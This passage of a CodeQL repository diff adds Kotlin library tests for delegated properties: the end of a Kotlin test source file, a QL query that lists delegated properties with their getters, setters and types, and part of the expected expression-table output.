+    val max: Int by Integer::MAX_VALUE
+
+    fun fn(){
+        var delegatedToMember3: Int by this::memberInt
+        fn()
+    }
+}
+
+var MyClass.extDelegated: Int by ::topLevelInt
diff --git a/java/ql/test/kotlin/library-tests/exprs/delegatedProperties.ql b/java/ql/test/kotlin/library-tests/exprs/delegatedProperties.ql
new file mode 100644
index 00000000000..56042ac2586
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/exprs/delegatedProperties.ql
@@ -0,0 +1,38 @@
+import java
+
+// Stop external filepaths from appearing in the results
+class ClassOrInterfaceLocation extends ClassOrInterface {
+  override predicate hasLocationInfo(string path, int sl, int sc, int el, int ec) {
+    exists(string fullPath | super.hasLocationInfo(fullPath, sl, sc, el, ec) |
+      if exists(this.getFile().getRelativePath())
+      then path = fullPath
+      else path = fullPath.regexpReplaceAll(".*/", "<external>/")
+    )
+  }
+}
+
+query predicate delegatedProperties(
+  DelegatedProperty dp, string name, string isLocal, Variable underlying, Expr initializer
+) {
+  (
+    dp.isLocal() and isLocal = "local"
+    or
+    not dp.isLocal() and isLocal = "non-local"
+  ) and
+  underlying = dp.getDelegatee() and
+  name = dp.getName() and
+  underlying.getInitializer() = initializer
+}
+
+query predicate delegatedPropertyTypes(DelegatedProperty dp, Type type, Type underlyingType) {
+  dp.getGetter().getReturnType() = type and
+  dp.getDelegatee().getType() = underlyingType
+}
+
+query predicate delegatedPropertyGetters(DelegatedProperty dp, Method getter) {
+  dp.getGetter() = getter
+}
+
+query predicate delegatedPropertySetters(DelegatedProperty dp, Method setter) {
+  dp.getSetter() = setter
+}
diff --git a/java/ql/test/kotlin/library-tests/exprs/exprs.expected b/java/ql/test/kotlin/library-tests/exprs/exprs.expected
new file mode 100644
index 00000000000..a2a1e3bd941
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/exprs/exprs.expected
@@ -0,0 +1,3557 @@
+| delegatedProperties.kt:0:0:0:0 | null | delegatedProperties.kt:6:24:9:9 | <get-prop1> | NullLiteral |
+| delegatedProperties.kt:0:0:0:0 | null | delegatedProperties.kt:19:31:19:51 | <get-varResource1> | NullLiteral |
+| delegatedProperties.kt:0:0:0:0 | null | delegatedProperties.kt:19:31:19:51 | <set-varResource1> | NullLiteral |
+| delegatedProperties.kt:0:0:0:0 | null | delegatedProperties.kt:23:26:23:31 | <get-name> | NullLiteral |
+| delegatedProperties.kt:0:0:0:0 | null | delegatedProperties.kt:33:27:33:47 | <get-readOnly> | NullLiteral |
+| delegatedProperties.kt:0:0:0:0 | null | delegatedProperties.kt:34:28:34:48 | <get-readWrite> | NullLiteral |
+| delegatedProperties.kt:0:0:0:0 | null | delegatedProperties.kt:34:28:34:48 | <set-readWrite> | NullLiteral |
+| delegatedProperties.kt:0:0:0:0 | null | delegatedProperties.kt:39:31:39:51 | <get-varResource2> | NullLiteral |
+| delegatedProperties.kt:0:0:0:0 | null | delegatedProperties.kt:82:37:82:54 | <get-delegatedToMember3> | NullLiteral |
+| delegatedProperties.kt:0:0:0:0 | null | delegatedProperties.kt:82:37:82:54 | <set-delegatedToMember3> | NullLiteral |
+| delegatedProperties.kt:1:9:1:12 | null | delegatedProperties.kt:18:5:40:5 | fn | NullLiteral |
+| delegatedProperties.kt:1:9:1:12 | this | delegatedProperties.kt:42:27:42:47 | getVarResource0 | ThisAccess |
+| delegatedProperties.kt:1:9:1:12 | this | delegatedProperties.kt:42:27:42:47 | setVarResource0 | ThisAccess |
+| delegatedProperties.kt:1:9:1:12 | this | delegatedProperties.kt:66:33:66:50 | getDelegatedToMember1 | ThisAccess |
+| delegatedProperties.kt:1:9:1:12 | this | delegatedProperties.kt:66:33:66:50 | setDelegatedToMember1 | ThisAccess |
+| delegatedProperties.kt:1:9:1:12 | this | delegatedProperties.kt:67:33:67:53 | getDelegatedToMember2 | ThisAccess |
+| delegatedProperties.kt:1:9:1:12 | this | delegatedProperties.kt:67:33:67:53 | setDelegatedToMember2 | ThisAccess |
+| delegatedProperties.kt:1:9:1:12 | this | delegatedProperties.kt:69:36:69:56 | getDelegatedToExtMember1 | ThisAccess |
+| delegatedProperties.kt:1:9:1:12 | this | delegatedProperties.kt:69:36:69:56 | setDelegatedToExtMember1 | ThisAccess |
+| delegatedProperties.kt:1:9:1:12 | this | delegatedProperties.kt:70:36:70:59 | getDelegatedToExtMember2 | ThisAccess |
+| delegatedProperties.kt:1:9:1:12 | this | delegatedProperties.kt:70:36:70:59 | setDelegatedToExtMember2 | ThisAccess |
+| delegatedProperties.kt:1:9:1:12 | this | delegatedProperties.kt:72:36:72:56 | getDelegatedToBaseClass1 | ThisAccess |
+| delegatedProperties.kt:1:9:1:12 | this | delegatedProperties.kt:73:36:73:56 | getDelegatedToBaseClass2 | ThisAccess |
+| delegatedProperties.kt:1:9:1:12 | this | delegatedProperties.kt:75:39:75:78 | getDelegatedToAnotherClass1 | ThisAccess |
+| delegatedProperties.kt:1:9:1:12 | this | delegatedProperties.kt:77:34:77:49 | getDelegatedToTopLevel | ThisAccess |
+| delegatedProperties.kt:1:9:1:12 | this | delegatedProperties.kt:77:34:77:49 | setDelegatedToTopLevel | ThisAccess |
+| delegatedProperties.kt:1:9:1:12 | this | delegatedProperties.kt:79:18:79:38 | getMax | ThisAccess |
+| delegatedProperties.kt:1:9:1:12 | this | delegatedProperties.kt:87:31:87:46 | getExtDelegated | ExtensionReceiverAccess |
+| delegatedProperties.kt:1:9:1:12 | this | delegatedProperties.kt:87:31:87:46 | setExtDelegated | ExtensionReceiverAccess |
+| delegatedProperties.kt:5:5:12:5 | Unit | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:6:24:9:9 | ...::... | delegatedProperties.kt:6:24:9:9 | <get-prop1> | PropertyRefExpr |
+| delegatedProperties.kt:6:24:9:9 | <get-prop1>(...) | delegatedProperties.kt:6:24:9:9 | get | MethodAccess |
+| delegatedProperties.kt:6:24:9:9 | Integer | delegatedProperties.kt:6:24:9:9 | <get-prop1> | TypeAccess |
+| delegatedProperties.kt:6:24:9:9 | KProperty0<Integer> | delegatedProperties.kt:6:24:9:9 | <get-prop1> | TypeAccess |
+| delegatedProperties.kt:6:24:9:9 | Object | delegatedProperties.kt:6:24:9:9 | get | TypeAccess |
+| delegatedProperties.kt:6:24:9:9 | get(...) | delegatedProperties.kt:6:24:9:9 | invoke | MethodAccess |
+| delegatedProperties.kt:6:24:9:9 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:6:24:9:9 | new (...) | delegatedProperties.kt:6:24:9:9 | get | ClassInstanceExpr |
+| delegatedProperties.kt:6:24:9:9 | prop1$delegate | delegatedProperties.kt:5:5:12:5 | fn | LocalVariableDeclExpr |
+| delegatedProperties.kt:6:24:9:9 | prop1$delegate | delegatedProperties.kt:6:24:9:9 | <get-prop1> | VarAccess |
+| delegatedProperties.kt:6:24:9:9 | this | delegatedProperties.kt:6:24:9:9 | invoke | ThisAccess |
+| delegatedProperties.kt:6:27:9:9 | Integer | delegatedProperties.kt:5:5:12:5 | fn | TypeAccess |
+| delegatedProperties.kt:6:27:9:9 | Integer | delegatedProperties.kt:6:24:9:9 | <get-prop1> | TypeAccess |
+| delegatedProperties.kt:6:27:9:9 | LazyKt | delegatedProperties.kt:5:5:12:5 | fn | TypeAccess |
+| delegatedProperties.kt:6:27:9:9 | LazyKt | delegatedProperties.kt:6:24:9:9 | <get-prop1> | TypeAccess |
+| delegatedProperties.kt:6:27:9:9 | getValue(...) | delegatedProperties.kt:6:24:9:9 | <get-prop1> | MethodAccess |
+| delegatedProperties.kt:6:27:9:9 | lazy(...) | delegatedProperties.kt:5:5:12:5 | fn | MethodAccess |
+| delegatedProperties.kt:6:32:9:9 | ...->... | delegatedProperties.kt:5:5:12:5 | fn | LambdaExpr |
+| delegatedProperties.kt:6:32:9:9 | Function0<Integer> | delegatedProperties.kt:5:5:12:5 | fn | TypeAccess |
+| delegatedProperties.kt:6:32:9:9 | Integer | delegatedProperties.kt:5:5:12:5 | fn | TypeAccess |
+| delegatedProperties.kt:6:32:9:9 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:7:13:7:27 | ConsoleKt | delegatedProperties.kt:6:32:9:9 | invoke | TypeAccess |
+| delegatedProperties.kt:7:13:7:27 | println(...) | delegatedProperties.kt:6:32:9:9 | invoke | MethodAccess |
+| delegatedProperties.kt:7:22:7:25 | init | delegatedProperties.kt:6:32:9:9 | invoke | StringLiteral |
+| delegatedProperties.kt:8:13:8:13 | 5 | delegatedProperties.kt:6:32:9:9 | invoke | IntegerLiteral |
+| delegatedProperties.kt:10:9:10:22 | ConsoleKt | delegatedProperties.kt:5:5:12:5 | fn | TypeAccess |
+| delegatedProperties.kt:10:9:10:22 | println(...) | delegatedProperties.kt:5:5:12:5 | fn | MethodAccess |
+| delegatedProperties.kt:10:17:10:21 | <get-prop1>(...) | delegatedProperties.kt:5:5:12:5 | fn | MethodAccess |
+| delegatedProperties.kt:10:17:10:21 | Object | delegatedProperties.kt:5:5:12:5 | fn | TypeAccess |
+| delegatedProperties.kt:10:17:10:21 | new (...) | delegatedProperties.kt:5:5:12:5 | fn | ClassInstanceExpr |
+| delegatedProperties.kt:11:9:11:22 | ConsoleKt | delegatedProperties.kt:5:5:12:5 | fn | TypeAccess |
+| delegatedProperties.kt:11:9:11:22 | println(...) | delegatedProperties.kt:5:5:12:5 | fn | MethodAccess |
+| delegatedProperties.kt:11:17:11:21 | <get-prop1>(...) | delegatedProperties.kt:5:5:12:5 | fn | MethodAccess |
+| delegatedProperties.kt:11:17:11:21 | Object | delegatedProperties.kt:5:5:12:5 | fn | TypeAccess |
+| delegatedProperties.kt:11:17:11:21 | new (...) | delegatedProperties.kt:5:5:12:5 | fn | ClassInstanceExpr |
+| delegatedProperties.kt:18:5:40:5 | Unit | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:18:12:18:33 | Map<String,Object> | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:18:12:18:33 | Object | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:18:12:18:33 | String | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:19:31:19:51 | ...::... | delegatedProperties.kt:19:31:19:51 | <get-varResource1> | PropertyRefExpr |
+| delegatedProperties.kt:19:31:19:51 | ...::... | delegatedProperties.kt:19:31:19:51 | <set-varResource1> | PropertyRefExpr |
+| delegatedProperties.kt:19:31:19:51 | <get-varResource1>(...) | delegatedProperties.kt:19:31:19:51 | get | MethodAccess |
+| delegatedProperties.kt:19:31:19:51 | <get-varResource1>(...) | delegatedProperties.kt:19:31:19:51 | get | MethodAccess |
+| delegatedProperties.kt:19:31:19:51 | <set-varResource1>(...) | delegatedProperties.kt:19:31:19:51 | set | MethodAccess |
+| delegatedProperties.kt:19:31:19:51 | <set-varResource1>(...) | delegatedProperties.kt:19:31:19:51 | set | MethodAccess |
+| delegatedProperties.kt:19:31:19:51 | Integer | delegatedProperties.kt:19:31:19:51 | <get-varResource1> | TypeAccess |
+| delegatedProperties.kt:19:31:19:51 | Integer | delegatedProperties.kt:19:31:19:51 | <set-varResource1> | TypeAccess |
+| delegatedProperties.kt:19:31:19:51 | KMutableProperty0<Integer> | delegatedProperties.kt:19:31:19:51 | <get-varResource1> | TypeAccess |
+| delegatedProperties.kt:19:31:19:51 | KMutableProperty0<Integer> | delegatedProperties.kt:19:31:19:51 | <set-varResource1> | TypeAccess |
+| delegatedProperties.kt:19:31:19:51 | Object | delegatedProperties.kt:19:31:19:51 | get | TypeAccess |
+| delegatedProperties.kt:19:31:19:51 | Object | delegatedProperties.kt:19:31:19:51 | get | TypeAccess |
+| delegatedProperties.kt:19:31:19:51 | Object | delegatedProperties.kt:19:31:19:51 | set | TypeAccess |
+| delegatedProperties.kt:19:31:19:51 | Object | delegatedProperties.kt:19:31:19:51 | set | TypeAccess |
+| delegatedProperties.kt:19:31:19:51 | Unit | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:19:31:19:51 | a0 | delegatedProperties.kt:19:31:19:51 | set | VarAccess |
+| delegatedProperties.kt:19:31:19:51 | a0 | delegatedProperties.kt:19:31:19:51 | set | VarAccess |
+| delegatedProperties.kt:19:31:19:51 | get(...) | delegatedProperties.kt:19:31:19:51 | invoke | MethodAccess |
+| delegatedProperties.kt:19:31:19:51 | get(...) | delegatedProperties.kt:19:31:19:51 | invoke | MethodAccess |
+| delegatedProperties.kt:19:31:19:51 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:19:31:19:51 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:19:31:19:51 | new (...) | delegatedProperties.kt:19:31:19:51 | get | ClassInstanceExpr |
+| delegatedProperties.kt:19:31:19:51 | new (...) | delegatedProperties.kt:19:31:19:51 | get | ClassInstanceExpr |
+| delegatedProperties.kt:19:31:19:51 | new (...) | delegatedProperties.kt:19:31:19:51 | set | ClassInstanceExpr |
+| delegatedProperties.kt:19:31:19:51 | new (...) | delegatedProperties.kt:19:31:19:51 | set | ClassInstanceExpr |
+| delegatedProperties.kt:19:31:19:51 | this | delegatedProperties.kt:19:31:19:51 | invoke | ThisAccess |
+| delegatedProperties.kt:19:31:19:51 | this | delegatedProperties.kt:19:31:19:51 | invoke | ThisAccess |
+| delegatedProperties.kt:19:31:19:51 | varResource1$delegate | delegatedProperties.kt:18:5:40:5 | fn | LocalVariableDeclExpr |
+| delegatedProperties.kt:19:31:19:51 | varResource1$delegate | delegatedProperties.kt:19:31:19:51 | <get-varResource1> | VarAccess |
+| delegatedProperties.kt:19:31:19:51 | varResource1$delegate | delegatedProperties.kt:19:31:19:51 | <set-varResource1> | VarAccess |
+| delegatedProperties.kt:19:34:19:51 | ResourceDelegate | delegatedProperties.kt:18:5:40:5 | fn | TypeAccess |
+| delegatedProperties.kt:19:34:19:51 | getValue(...) | delegatedProperties.kt:19:31:19:51 | <get-varResource1> | MethodAccess |
+| delegatedProperties.kt:19:34:19:51 | new ResourceDelegate(...) | delegatedProperties.kt:18:5:40:5 | fn | ClassInstanceExpr |
+| delegatedProperties.kt:19:34:19:51 | setValue(...) | delegatedProperties.kt:19:31:19:51 | <set-varResource1> | MethodAccess |
+| delegatedProperties.kt:19:34:19:51 | value | delegatedProperties.kt:19:31:19:51 | <set-varResource1> | VarAccess |
+| delegatedProperties.kt:20:9:20:29 | ConsoleKt | delegatedProperties.kt:18:5:40:5 | fn | TypeAccess |
+| delegatedProperties.kt:20:9:20:29 | println(...) | delegatedProperties.kt:18:5:40:5 | fn | MethodAccess |
+| delegatedProperties.kt:20:17:20:28 | <get-varResource1>(...) | delegatedProperties.kt:18:5:40:5 | fn | MethodAccess |
+| delegatedProperties.kt:20:17:20:28 | Object | delegatedProperties.kt:18:5:40:5 | fn | TypeAccess |
+| delegatedProperties.kt:20:17:20:28 | new (...) | delegatedProperties.kt:18:5:40:5 | fn | ClassInstanceExpr |
+| delegatedProperties.kt:21:9:21:20 | <set-varResource1>(...) | delegatedProperties.kt:18:5:40:5 | fn | MethodAccess |
+| delegatedProperties.kt:21:9:21:20 | Object | delegatedProperties.kt:18:5:40:5 | fn | TypeAccess |
+| delegatedProperties.kt:21:9:21:20 | new (...) | delegatedProperties.kt:18:5:40:5 | fn | ClassInstanceExpr |
+| delegatedProperties.kt:21:24:21:24 | 2 | delegatedProperties.kt:18:5:40:5 | fn | IntegerLiteral |
+| delegatedProperties.kt:23:26:23:31 | ...::... | delegatedProperties.kt:23:26:23:31 | <get-name> | PropertyRefExpr |
+| delegatedProperties.kt:23:26:23:31 | <get-name>(...) | delegatedProperties.kt:23:26:23:31 | get | MethodAccess |
+| delegatedProperties.kt:23:26:23:31 | KProperty0<String> | delegatedProperties.kt:23:26:23:31 | <get-name> | TypeAccess |
+| delegatedProperties.kt:23:26:23:31 | Object | delegatedProperties.kt:23:26:23:31 | get | TypeAccess |
+| delegatedProperties.kt:23:26:23:31 | String | delegatedProperties.kt:23:26:23:31 | <get-name> | TypeAccess |
+| delegatedProperties.kt:23:26:23:31 | String | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:23:26:23:31 | get(...) | delegatedProperties.kt:23:26:23:31 | invoke | MethodAccess |
+| delegatedProperties.kt:23:26:23:31 | name$delegate | delegatedProperties.kt:18:5:40:5 | fn | LocalVariableDeclExpr |
+| delegatedProperties.kt:23:26:23:31 | name$delegate | delegatedProperties.kt:23:26:23:31 | <get-name> | VarAccess |
+| delegatedProperties.kt:23:26:23:31 | new (...) | delegatedProperties.kt:23:26:23:31 | get | ClassInstanceExpr |
+| delegatedProperties.kt:23:26:23:31 | this | delegatedProperties.kt:23:26:23:31 | invoke | ThisAccess |
+| delegatedProperties.kt:23:29:23:31 | MapAccessorsKt | delegatedProperties.kt:23:26:23:31 | <get-name> | TypeAccess |
+| delegatedProperties.kt:23:29:23:31 | Object | delegatedProperties.kt:23:26:23:31 | <get-name> | TypeAccess |
+| delegatedProperties.kt:23:29:23:31 | String | delegatedProperties.kt:23:26:23:31 | <get-name> | TypeAccess |
+| delegatedProperties.kt:23:29:23:31 | getValue(...) | delegatedProperties.kt:23:26:23:31 | <get-name> | MethodAccess |
+| delegatedProperties.kt:23:29:23:31 | map | delegatedProperties.kt:18:5:40:5 | fn | VarAccess |
+| delegatedProperties.kt:25:9:31:9 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:25:9:31:9 | Object | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:25:9:31:9 | ReadWriteProperty<Object,Integer> | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:25:64:31:9 | <Stmt> | delegatedProperties.kt:25:9:31:9 | resourceDelegate | StmtExpr |
+| delegatedProperties.kt:25:64:31:9 | ReadWriteProperty<Object,Integer> | delegatedProperties.kt:25:9:31:9 | resourceDelegate | TypeAccess |
+| delegatedProperties.kt:25:64:31:9 | new (...) | delegatedProperties.kt:25:9:31:9 | resourceDelegate | ClassInstanceExpr |
+| delegatedProperties.kt:26:13:26:28 | ...=... | delegatedProperties.kt:25:64:31:9 |  | KtInitializerAssignExpr |
+| delegatedProperties.kt:26:13:26:28 | ...=... | delegatedProperties.kt:26:13:26:28 | setCurValue | AssignExpr |
+| delegatedProperties.kt:26:13:26:28 | <set-?> | delegatedProperties.kt:26:13:26:28 | setCurValue | VarAccess |
+| delegatedProperties.kt:26:13:26:28 | Unit | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:26:13:26:28 | curValue | delegatedProperties.kt:25:64:31:9 |  | VarAccess |
+| delegatedProperties.kt:26:13:26:28 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:26:13:26:28 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:26:13:26:28 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:26:13:26:28 | this | delegatedProperties.kt:26:13:26:28 | getCurValue | ThisAccess |
+| delegatedProperties.kt:26:13:26:28 | this | delegatedProperties.kt:26:13:26:28 | setCurValue | ThisAccess |
+| delegatedProperties.kt:26:13:26:28 | this.curValue | delegatedProperties.kt:26:13:26:28 | getCurValue | VarAccess |
+| delegatedProperties.kt:26:13:26:28 | this.curValue | delegatedProperties.kt:26:13:26:28 | setCurValue | VarAccess |
+| delegatedProperties.kt:26:28:26:28 | 0 | delegatedProperties.kt:25:64:31:9 |  | IntegerLiteral |
+| delegatedProperties.kt:27:22:27:88 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:27:35:27:47 | Object | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:27:50:27:71 | KProperty<?> | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:27:81:27:88 | getCurValue(...) | delegatedProperties.kt:27:22:27:88 | getValue | MethodAccess |
+| delegatedProperties.kt:27:81:27:88 | this | delegatedProperties.kt:27:22:27:88 | getValue | ThisAccess |
+| delegatedProperties.kt:28:22:30:13 | Unit | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:28:35:28:47 | Object | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:28:50:28:71 | KProperty<?> | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:28:74:28:83 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:29:17:29:24 | setCurValue(...) | delegatedProperties.kt:28:22:30:13 | setValue | MethodAccess |
+| delegatedProperties.kt:29:17:29:24 | this | delegatedProperties.kt:28:22:30:13 | setValue | ThisAccess |
+| delegatedProperties.kt:29:28:29:32 | value | delegatedProperties.kt:28:22:30:13 | setValue | VarAccess |
+| delegatedProperties.kt:33:27:33:47 | ...::... | delegatedProperties.kt:33:27:33:47 | <get-readOnly> | PropertyRefExpr |
+| delegatedProperties.kt:33:27:33:47 | <get-readOnly>(...) | delegatedProperties.kt:33:27:33:47 | get | MethodAccess |
+| delegatedProperties.kt:33:27:33:47 | Integer | delegatedProperties.kt:33:27:33:47 | <get-readOnly> | TypeAccess |
+| delegatedProperties.kt:33:27:33:47 | KProperty0<Integer> | delegatedProperties.kt:33:27:33:47 | <get-readOnly> | TypeAccess |
+| delegatedProperties.kt:33:27:33:47 | Object | delegatedProperties.kt:33:27:33:47 | get | TypeAccess |
+| delegatedProperties.kt:33:27:33:47 | get(...) | delegatedProperties.kt:33:27:33:47 | invoke | MethodAccess |
+| delegatedProperties.kt:33:27:33:47 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:33:27:33:47 | new (...) | delegatedProperties.kt:33:27:33:47 | get | ClassInstanceExpr |
+| delegatedProperties.kt:33:27:33:47 | readOnly$delegate | delegatedProperties.kt:18:5:40:5 | fn | LocalVariableDeclExpr |
+| delegatedProperties.kt:33:27:33:47 | readOnly$delegate | delegatedProperties.kt:33:27:33:47 | <get-readOnly> | VarAccess |
+| delegatedProperties.kt:33:27:33:47 | this | delegatedProperties.kt:33:27:33:47 | invoke | ThisAccess |
+| delegatedProperties.kt:33:30:33:47 | Object | delegatedProperties.kt:18:5:40:5 | fn | TypeAccess |
+| delegatedProperties.kt:33:30:33:47 | getValue(...) | delegatedProperties.kt:33:27:33:47 | <get-readOnly> | MethodAccess |
+| delegatedProperties.kt:33:30:33:47 | new (...) | delegatedProperties.kt:18:5:40:5 | fn | ClassInstanceExpr |
+| delegatedProperties.kt:33:30:33:47 | resourceDelegate(...) | delegatedProperties.kt:18:5:40:5 | fn | MethodAccess |
+| delegatedProperties.kt:34:28:34:48 | ...::... | delegatedProperties.kt:34:28:34:48 | <get-readWrite> | PropertyRefExpr |
+| delegatedProperties.kt:34:28:34:48 | ...::... | delegatedProperties.kt:34:28:34:48 | <set-readWrite> | PropertyRefExpr |
+| delegatedProperties.kt:34:28:34:48 | <get-readWrite>(...) | delegatedProperties.kt:34:28:34:48 | get | MethodAccess |
+| delegatedProperties.kt:34:28:34:48 | <get-readWrite>(...) | delegatedProperties.kt:34:28:34:48 | get | MethodAccess |
+| delegatedProperties.kt:34:28:34:48 | <set-readWrite>(...) | delegatedProperties.kt:34:28:34:48 | set | MethodAccess |
+| delegatedProperties.kt:34:28:34:48 | <set-readWrite>(...) | delegatedProperties.kt:34:28:34:48 | set | MethodAccess |
+| delegatedProperties.kt:34:28:34:48 | Integer | delegatedProperties.kt:34:28:34:48 | <get-readWrite> | TypeAccess |
+| delegatedProperties.kt:34:28:34:48 | Integer | delegatedProperties.kt:34:28:34:48 | <set-readWrite> | TypeAccess |
+| delegatedProperties.kt:34:28:34:48 | KMutableProperty0<Integer> | delegatedProperties.kt:34:28:34:48 | <get-readWrite> | TypeAccess |
+| delegatedProperties.kt:34:28:34:48 | KMutableProperty0<Integer> | delegatedProperties.kt:34:28:34:48 | <set-readWrite> | TypeAccess |
+| delegatedProperties.kt:34:28:34:48 | Object | delegatedProperties.kt:34:28:34:48 | get | TypeAccess |
+| delegatedProperties.kt:34:28:34:48 | Object | delegatedProperties.kt:34:28:34:48 | get | TypeAccess |
+| delegatedProperties.kt:34:28:34:48 | Object | delegatedProperties.kt:34:28:34:48 | set | TypeAccess |
+| delegatedProperties.kt:34:28:34:48 | Object | delegatedProperties.kt:34:28:34:48 | set | TypeAccess |
+| delegatedProperties.kt:34:28:34:48 | Unit | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:34:28:34:48 | a0 | delegatedProperties.kt:34:28:34:48 | set | VarAccess |
+| delegatedProperties.kt:34:28:34:48 | a0 | delegatedProperties.kt:34:28:34:48 | set | VarAccess |
+| delegatedProperties.kt:34:28:34:48 | get(...) | delegatedProperties.kt:34:28:34:48 | invoke | MethodAccess |
+| delegatedProperties.kt:34:28:34:48 | get(...) | delegatedProperties.kt:34:28:34:48 | invoke | MethodAccess |
+| delegatedProperties.kt:34:28:34:48 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:34:28:34:48 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:34:28:34:48 | new (...) | delegatedProperties.kt:34:28:34:48 | get | ClassInstanceExpr |
+| delegatedProperties.kt:34:28:34:48 | new (...) | delegatedProperties.kt:34:28:34:48 | get | ClassInstanceExpr |
+| delegatedProperties.kt:34:28:34:48 | new (...) | delegatedProperties.kt:34:28:34:48 | set | ClassInstanceExpr |
+| delegatedProperties.kt:34:28:34:48 | new (...) | delegatedProperties.kt:34:28:34:48 | set | ClassInstanceExpr |
+| delegatedProperties.kt:34:28:34:48 | readWrite$delegate | delegatedProperties.kt:18:5:40:5 | fn | LocalVariableDeclExpr |
+| delegatedProperties.kt:34:28:34:48 | readWrite$delegate | delegatedProperties.kt:34:28:34:48 | <get-readWrite> | VarAccess |
+| delegatedProperties.kt:34:28:34:48 | readWrite$delegate | delegatedProperties.kt:34:28:34:48 | <set-readWrite> | VarAccess |
+| delegatedProperties.kt:34:28:34:48 | this | delegatedProperties.kt:34:28:34:48 | invoke | ThisAccess |
+| delegatedProperties.kt:34:28:34:48 | this | delegatedProperties.kt:34:28:34:48 | invoke | ThisAccess |
+| delegatedProperties.kt:34:31:34:48 | Object | delegatedProperties.kt:18:5:40:5 | fn | TypeAccess |
+| delegatedProperties.kt:34:31:34:48 | getValue(...) | delegatedProperties.kt:34:28:34:48 | <get-readWrite> | MethodAccess |
+| delegatedProperties.kt:34:31:34:48 | new (...) | delegatedProperties.kt:18:5:40:5 | fn | ClassInstanceExpr |
+| delegatedProperties.kt:34:31:34:48 | resourceDelegate(...) | delegatedProperties.kt:18:5:40:5 | fn | MethodAccess |
+| delegatedProperties.kt:34:31:34:48 | setValue(...) | delegatedProperties.kt:34:28:34:48 | <set-readWrite> | MethodAccess |
+| delegatedProperties.kt:34:31:34:48 | value | delegatedProperties.kt:34:28:34:48 | <set-readWrite> | VarAccess |
+| delegatedProperties.kt:36:9:36:29 | ConsoleKt | delegatedProperties.kt:18:5:40:5 | fn | TypeAccess |
+| delegatedProperties.kt:36:9:36:29 | println(...) | delegatedProperties.kt:18:5:40:5 | fn | MethodAccess |
+| delegatedProperties.kt:36:17:36:28 | getVarResource0(...) | delegatedProperties.kt:18:5:40:5 | fn | MethodAccess |
+| delegatedProperties.kt:36:17:36:28 | this | delegatedProperties.kt:18:5:40:5 | fn | ThisAccess |
+| delegatedProperties.kt:37:9:37:20 | setVarResource0(...) | delegatedProperties.kt:18:5:40:5 | fn | MethodAccess |
+| delegatedProperties.kt:37:9:37:20 | this | delegatedProperties.kt:18:5:40:5 | fn | ThisAccess |
+| delegatedProperties.kt:37:24:37:24 | 3 | delegatedProperties.kt:18:5:40:5 | fn | IntegerLiteral |
+| delegatedProperties.kt:39:31:39:51 | ...::... | delegatedProperties.kt:18:5:40:5 | fn | PropertyRefExpr |
+| delegatedProperties.kt:39:31:39:51 | ...::... | delegatedProperties.kt:39:31:39:51 | <get-varResource2> | PropertyRefExpr |
+| delegatedProperties.kt:39:31:39:51 | <get-varResource2>(...) | delegatedProperties.kt:39:31:39:51 | get | MethodAccess |
+| delegatedProperties.kt:39:31:39:51 | <get-varResource2>(...) | delegatedProperties.kt:39:31:39:51 | get | MethodAccess |
+| delegatedProperties.kt:39:31:39:51 | Integer | delegatedProperties.kt:18:5:40:5 | fn | TypeAccess |
+| delegatedProperties.kt:39:31:39:51 | Integer | delegatedProperties.kt:39:31:39:51 | <get-varResource2> | TypeAccess |
+| delegatedProperties.kt:39:31:39:51 | KProperty0<Integer> | delegatedProperties.kt:18:5:40:5 | fn | TypeAccess |
+| delegatedProperties.kt:39:31:39:51 | KProperty0<Integer> | delegatedProperties.kt:39:31:39:51 | <get-varResource2> | TypeAccess |
+| delegatedProperties.kt:39:31:39:51 | Object | delegatedProperties.kt:39:31:39:51 | get | TypeAccess |
+| delegatedProperties.kt:39:31:39:51 | Object | delegatedProperties.kt:39:31:39:51 | get | TypeAccess |
+| delegatedProperties.kt:39:31:39:51 | get(...) | delegatedProperties.kt:39:31:39:51 | invoke | MethodAccess |
+| delegatedProperties.kt:39:31:39:51 | get(...) | delegatedProperties.kt:39:31:39:51 | invoke | MethodAccess |
+| delegatedProperties.kt:39:31:39:51 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:39:31:39:51 | new (...) | delegatedProperties.kt:39:31:39:51 | get | ClassInstanceExpr |
+| delegatedProperties.kt:39:31:39:51 | new (...) | delegatedProperties.kt:39:31:39:51 | get | ClassInstanceExpr |
